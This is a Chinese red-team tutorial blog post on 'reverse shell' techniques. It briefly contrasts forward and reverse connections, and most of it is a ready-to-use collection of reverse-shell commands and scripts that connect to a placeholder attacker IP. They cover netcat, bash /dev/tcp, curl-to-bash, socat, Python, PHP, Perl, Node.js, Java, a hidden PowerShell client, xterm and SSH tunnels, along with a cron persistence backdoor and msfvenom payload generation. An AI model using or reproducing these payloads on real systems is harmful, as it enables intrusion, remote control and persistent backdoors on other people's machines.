当前位置: 首页 > news >正文

红队老子养成记3 - 学会反弹shell的多种姿势,拿shell拿手软!!(全网最多姿势!)

大家好,我是Dest1ny!

今天还是讲redteam里比较重要的反弹shell!

不会反弹shell,那你如何拿控制权限!

今天满满干货,大家加油学!


CLASS-1 正向连接与反向连接详解

1. 正向连接

正向连接是最常见的连接方式。当我们攻击了一台机器后,打开了该机器的一个端口,攻击者在自己的机器上主动连接目标机器的IP和端口。这类连接方式常见于远程桌面、Web服务、SSH、Telnet等。

理解:正向连接适用于目标机器能够被攻击者直接访问和请求的场景。前提是目标机器的端口是开放且可访问的。

人话:攻击者 ->被攻击方

2. 反向连接

为什么需要反弹Shell?

反向连接通常在以下几种情况下使用:

  • 目标机器受到防火墙限制,只能发送请求,不能接收请求。
  • 目标机的相关端口被占用。
  • 目标机位于局域网中,或者其IP会动态变化,攻击者无法直接连接。
  • 对于病毒和木马,受害者的上网环境、开关机时间都是未知的。

在这些情况下,正向连接行不通,因此我们使用反向连接。

理解:反向连接即攻击者设定一个服务端,受害者的主机主动发起连接。此方式有效绕过防火墙、端口限制以及内网环境等限制。

反向连接方式详解

反向连接的方式有很多,需要根据目标主机的实际环境选择合适的方法。下面列举几种常见的方法:

3. 利用Netcat反弹Shell

这里全部前提就是自己有一台公网服务器,想要用临时服务器的,去看我这篇文章!

云服务器如何不租月使用,全网最详细(小白必看教程!千字讲解!!)_云服务器如何租-CSDN博客

Netcat是一款简单且强大的网络工具,支持TCP和UDP协议。它可以用来建立各种网络连接,也常用于反弹Shell。以下是安装并使用带有-e参数的Netcat来反弹Shell的步骤:

# 安装Netcat
wget https://nchc.dl.sourceforge.net/project/netcat/netcat/0.7.1/netcat-0.7.1.tar.gz
tar -xvzf netcat-0.7.1.tar.gz
./configure
make && make install
make clean# 攻击机开启监听
nc -lvvp 2333# 目标机发起连接
nc <攻击机IP> 2333 -e /bin/bash

理解:Netcat的-e参数在默认安装版本中被移除,因此我们需要手动安装旧版本来实现Shell反弹功能。

4. 利用Bash反弹Shell

使用Bash可以通过重定向的方法实现反弹Shell,具体命令如下:

bash -i >& /dev/tcp/<攻击机IP>/2333 0>&1

理解:该命令创建了一个Bash交互环境,并将输入输出重定向到攻击者的端口上。此方法需要目标机支持Bash环境。

5. 利用Curl和Bash反弹Shell

借助Curl和Bash的组合,也可以实现Shell反弹:

# 攻击者在VPS上准备好payload并监听端口
curl <攻击机IP> | bash

理解:这种方式灵活性高,可用于CTF场景,特别是当目标主机能执行Curl命令时,非常方便快捷。

6. 将反弹Shell写入定时任务或配置文件

可以通过修改定时任务文件(如/var/spool/cron)或者系统的配置文件(如/etc/profile)来持久化反弹Shell的脚本。

# 在定时任务中写入
*/1 * * * * /bin/bash -i>&/dev/tcp/<攻击机IP>/2333 0>&1

理解:这种方式适合在目标主机上植入持久性后门,通过定时任务或配置文件在特定时间段发起连接。

7. 使用Socat反弹Shell

Socat是一款功能强大的网络工具,类似于Netcat,但功能更丰富。以下是其反弹Shell的用法:

# 攻击机监听
socat TCP-LISTEN:2333 -# 目标机连接
socat tcp-connect:<攻击机IP>:2333 exec:'bash -li',pty,stderr,setsid,sigint,sane

理解:Socat的灵活性更强,支持的参数和场景也更丰富,适合需要多样化反弹方法的场景。

8. 使用其他脚本语言反弹Shell

  • Python:
python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("<攻击机IP>",2333));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'
  • PHP:
php -r '$sock=fsockopen("<攻击机IP>",2333);exec("/bin/sh -i <&3 >&3 2>&3");'

理解:不同的脚本语言都有相应的反弹Shell方法,这些方法需要目标机器支持相应的运行环境。

9. 使用Metasploit生成反弹Shell

Metasploit框架中的msfvenom工具可以自动生成反弹Shell的脚本:

msfvenom -p cmd/unix/reverse_python LHOST=<攻击机IP> LPORT=2333 -f raw

理解:Metasploit提供了多种反弹Shell的Payload生成方式,非常适合在渗透测试过程中快速使用。

10. 利用Perl反弹Shell

Perl可以通过创建一个Socket来实现反弹Shell的功能,以下是具体命令:

perl -e 'use Socket;$i="<攻击机IP>";$p=2333;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'

理解:Perl是一种常见的脚本语言,尤其是在老旧的Linux系统中比较常见。利用Perl可以实现Socket连接,并通过Shell与攻击者进行交互。

11. 利用PHP反弹Shell(GET方式)

如果目标机上有一个支持PHP的Web服务器,可以上传并执行一个简单的PHP脚本:

<?php
$sock=fsockopen("<攻击机IP>",2333);
exec("/bin/sh -i <&3 >&3 2>&3");
?>

理解:这是利用PHP脚本来反弹Shell的基本方式,通常适用于Web环境渗透。它依赖于目标服务器上PHP的执行权限。

12. 利用Node.js反弹Shell

如果目标机支持Node.js环境,可以使用以下代码来反弹Shell:

(function(){var net = require("net"),cp = require("child_process"),sh = cp.spawn("/bin/sh", []);var client = new net.Socket();client.connect(2333, "<攻击机IP>", function(){client.pipe(sh.stdin);sh.stdout.pipe(client);sh.stderr.pipe(client);});return /a/;
})();

理解:Node.js环境反弹Shell的方法适用于具备Node.js的服务器或环境,通常在Web服务器或一些应用平台中有效。

13. 利用PowerShell反弹Shell(Windows)

在Windows环境下,可以通过PowerShell来实现反弹Shell:

powershell -NoP -NonI -W Hidden -Exec Bypass -Command New-Object System.Net.Sockets.TCPClient("<攻击机IP>",2333);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + "PS " + (pwd).Path + "> ";$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()}

理解:PowerShell是Windows自带的强大脚本工具,它可以直接在Windows环境下创建反向TCP连接,这种方式非常隐蔽且灵活。

14. 利用Java反弹Shell

Java应用程序也可以利用Java的网络库来反弹Shell:

import java.io.InputStream;
import java.io.OutputStream;
import java.net.Socket;public class ReverseShell {public static void main(String[] args) {String host = "<攻击机IP>";int port = 2333;String cmd = "/bin/sh";try {Socket s = new Socket(host, port);Process p = new ProcessBuilder(cmd).redirectErrorStream(true).start();InputStream pi = p.getInputStream(), pe = p.getErrorStream(), si = s.getInputStream();OutputStream po = p.getOutputStream(), so = s.getOutputStream();while (!s.isClosed()) {while (pi.available() > 0) so.write(pi.read());while (pe.available() > 0) so.write(pe.read());while (si.available() > 0) po.write(si.read());so.flush();po.flush();Thread.sleep(50);try { p.exitValue(); break; } catch (Exception e) {}}p.destroy();s.close();} catch (Exception e) {}}
}

理解:Java反弹Shell适合于目标机支持Java环境的场景。代码通过Socket和ProcessBuilder实现了一个反向连接并执行Shell命令的功能。

15. 使用XTerm反弹Shell(图形界面)

XTerm是Unix系统中的终端仿真器。可以通过它来反弹一个Shell到攻击者的X服务器上:

xterm -display <攻击机IP>:1

理解:这种方法需要目标机安装并配置了X11,且攻击者的X服务器处于监听状态。通常适合内网或具有一定权限的场景。

16. 使用SSH反向隧道

SSH反向隧道也是一种常见的反弹Shell方法。前提是目标机器上允许使用SSH并且有SSH权限:

ssh -R 2333:localhost:22 user@<攻击机IP>

理解:SSH反向隧道可以在攻击者机器上打开一个端口,使得目标机的本地端口暴露出来,非常适合于需要长期控制或存在防火墙限制的环境。

17. 使用Python模块反弹Shell(无依赖版)

利用Python的socket模块创建一个轻量级的反弹Shell:

import socket, subprocess, oss = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect(("<攻击机IP>", 2333))
os.dup2(s.fileno(),0)
os.dup2(s.fileno(),1)
os.dup2(s.fileno(),2)
p = subprocess.call(["/bin/sh", "-i"])

理解:这是Python最基础的反弹Shell方法,不依赖于其他库或模块,适合目标机器上没有高级Python模块但具备基础环境的情况。

 


http://www.mrgr.cn/news/55656.html

相关文章:

  • 机器学习方向在算法优化上有哪些创新点?
  • 【生物大分子入门】三. 配体分子的提取与结构表示方法
  • Plug-and-Play Diffusion Features for Text-Driven Image-to-Image Translation
  • Linux下进程通信原理图(详细)总结附实例代码快速掌握
  • JRT怎么从IRIS切换到PostGreSql库
  • 鸿蒙开发 四十五 鸿蒙状态管理(嵌套对象界面更新)
  • IO编程——消息队列
  • 【H2O2|全栈】JS入门知识(五)
  • 碰到这个问题请更新或重新安装fastapi版本
  • 时序分解 | Matlab实现EEMD+SE集合经验模态分解+样本熵计算的时间序列信号分解
  • Android 性能之 Game Mode
  • 基于微信小程序的驾校预约系统设计与实现
  • P3924 康娜的线段树
  • 2025医药化工水处理新技术、新工艺、新装备发展论坛3月4日济南举办
  • 【VUE小型网站开发】优化通用配置
  • 【Docker技术详解】(一)Docker镜像文件系统的关系和交互
  • 27.3 一致性哈希算法介绍
  • 142 环形链表II
  • Vim使用与进阶
  • 168K+ Star!AutoGPT:一个构建、部署和运行AI代理的强大平台
  • 【D3.js in Action 3 精译_037】4.1 DIY 实战:D3 源码分析之——d3.timeFormat() 函数
  • 【AI学习】扩散模型学习总结PPT
  • python 爬虫 入门 四、线程,进程,协程
  • Mysql常见面试题总结
  • 深入理解Oracle闪回技术
  • JMeter快速入门示例